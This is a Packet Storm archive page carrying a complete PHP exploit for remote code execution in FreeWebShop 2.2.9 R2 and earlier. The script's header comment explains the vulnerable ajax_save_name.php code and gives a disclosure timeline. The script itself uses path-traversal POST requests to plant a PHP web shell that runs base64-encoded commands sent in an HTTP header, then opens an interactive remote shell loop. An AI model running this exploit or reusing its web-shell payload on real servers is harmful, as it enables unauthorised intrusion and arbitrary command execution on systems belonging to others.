exploit the possibilities

FreeWebShop 2.2.9 R2 Remote Code Execution

FreeWebShop 2.2.9 R2 Remote Code Execution
Posted Nov 16, 2011
Authored by EgiX

FreeWebShop versions 2.2.9 R2 and below remote code execution exploit that leverages ajax_save_name.php.

tags | exploit, remote, php, code execution
MD5 | 8d68a922546b58851efe1b00854bdf00

FreeWebShop 2.2.9 R2 Remote Code Execution

Change Mirror Download
<?php

/*
--------------------------------------------------------------------------
FreeWebshop <= 2.2.9 R2 (ajax_save_name.php) Remote Code Execution Exploit
--------------------------------------------------------------------------

author.............: Egidio Romano aka EgiX
mail...............: n0b0d13s[at]gmail[dot]com
software link......: http://www.freewebshop.org/

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] vulnerable code in /addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_save_name.php

37. @ob_start();
38. include_once(CLASS_SESSION_ACTION);
39. $sessionAction = new SessionAction();
40. $selectedDocuments = $sessionAction->get();
41. if(removeTrailingSlash($sessionAction->getFolder()) == getParentPath($_POST['id']) && sizeof($selectedDocuments))
42. {
43. if(($key = array_search(basename($_POST['id']), $selectedDocuments)) !== false)
44. {
45. $selectedDocuments[$key] = $_POST['value'];
46. $sessionAction->set($selectedDocuments);
47.
48. }
49. echo basename($_POST['id']) . "\n";
50. displayArray($selectedDocuments);
51.
52. }elseif(removeTrailingSlash($sessionAction->getFolder()) == removeTrailingSlash($_POST['id']))
53. {
54. $sessionAction->setFolder($_POST['id']);
55. }
56. writeInfo(ob_get_clean());

An attacker could be able to manipulate the $selectedDocuments array that will be displayed at line 50,
then at line 56 is called the 'writeInfo' function using the current buffer contents as argument.
Like my recently discovered vulnerability (http://www.exploit-db.com/exploits/18075/), this function
writes into a file called 'data.php' so an attacker could be able to execute arbitrary PHP code.

[-] Disclosure timeline:

[24/10/2011] - Vulnerability discovered
[25/10/2011] - Issue reported to http://www.freewebshop.org/forum/?topic=5235
[15/11/2011] - After three weeks still no fix released
[16/11/2011] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die( "\n[-] No response from {$host}:80\n");

fwrite($sock, $packet);
return stream_get_contents($sock);
}

function random_mkdir()
{
global $host, $path;

$dirname = uniqid();

$payload = "new_folder={$dirname}&currentFolderPath=../../../up/";
$packet = "POST {$path}addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);
return $dirname;
}

print "\n+---------------------------------------------------------------+";
print "\n| FreeWebshop <= 2.2.9 R2 Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /freewebshop/\n";
die();
}

$host = $argv[1];
$path = $argv[2];

$phpcode = "<?php error_reporting(0);print(___);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";

$payload = "selectedDoc[]={$phpcode}&currentFolderPath=../../../up/";
$packet = "POST {$path}addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_file_cut.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

if (!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid)) die("\n[-] Session ID not found!\n");

$dirname = random_mkdir();
$newname = uniqid();

$payload = "value={$newname}&id=../../../up/{$dirname}";
$packet = "POST {$path}addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_save_name.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);

$packet = "GET {$path}addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
print "\nfreewebshop-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match("/___(.*)/s", $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

?>

Login or Register to add favorites

File Archive:

October 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    16 Files
  • 2
    Oct 2nd
    1 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    24 Files
  • 5
    Oct 5th
    24 Files
  • 6
    Oct 6th
    11 Files
  • 7
    Oct 7th
    14 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    1 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    7 Files
  • 12
    Oct 12th
    15 Files
  • 13
    Oct 13th
    26 Files
  • 14
    Oct 14th
    10 Files
  • 15
    Oct 15th
    6 Files
  • 16
    Oct 16th
    2 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    14 Files
  • 19
    Oct 19th
    15 Files
  • 20
    Oct 20th
    20 Files
  • 21
    Oct 21st
    12 Files
  • 22
    Oct 22nd
    14 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close